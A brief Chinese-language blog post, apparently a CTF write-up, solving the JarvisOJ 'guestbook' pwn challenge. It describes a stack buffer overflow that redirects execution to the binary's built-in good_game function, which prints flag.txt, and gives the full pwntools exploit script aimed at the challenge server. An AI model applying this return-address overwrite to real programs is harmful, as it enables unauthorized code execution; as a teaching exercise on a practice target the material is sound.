JarvisOJ——guestbook

Posted on 2019-11-07 17:46  Volcano3511  阅读(216)  评论(0编辑  收藏  举报

开了栈不可执行
但是其他有

100分的题目不算很难
只要溢出,然后控制程序跳转的地址就可以了

程序中给了good_game函数,函数内部已经可以就是读取"flag.txt"的内容

所以就是溢出、覆盖ebp,然后跳转到good_game函数

结果:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *

proc_name = './guestbook.d3d5869bd6fb04dd35b29c67426c0f05'

proc_elf = ELF(proc_name)

context.log_level = 'debug'

#io = process(proc_name)
io = remote('pwn.jarvisoj.com',9876)

#print proc_elf.checksec()
#print proc.pidof(io)

raw_input('debug')

ebp = 0x0000000000400670

read_message = 0x0000000000400670

good_game = 0x0000000000400620

payload  = 'a'*0x88
payload  += p64(good_game)
payload +=p64(good_game)
payload +=p64(good_game)

io.recvuntil('message')

io.send(payload)

#raw_input("debug")
io.interactive()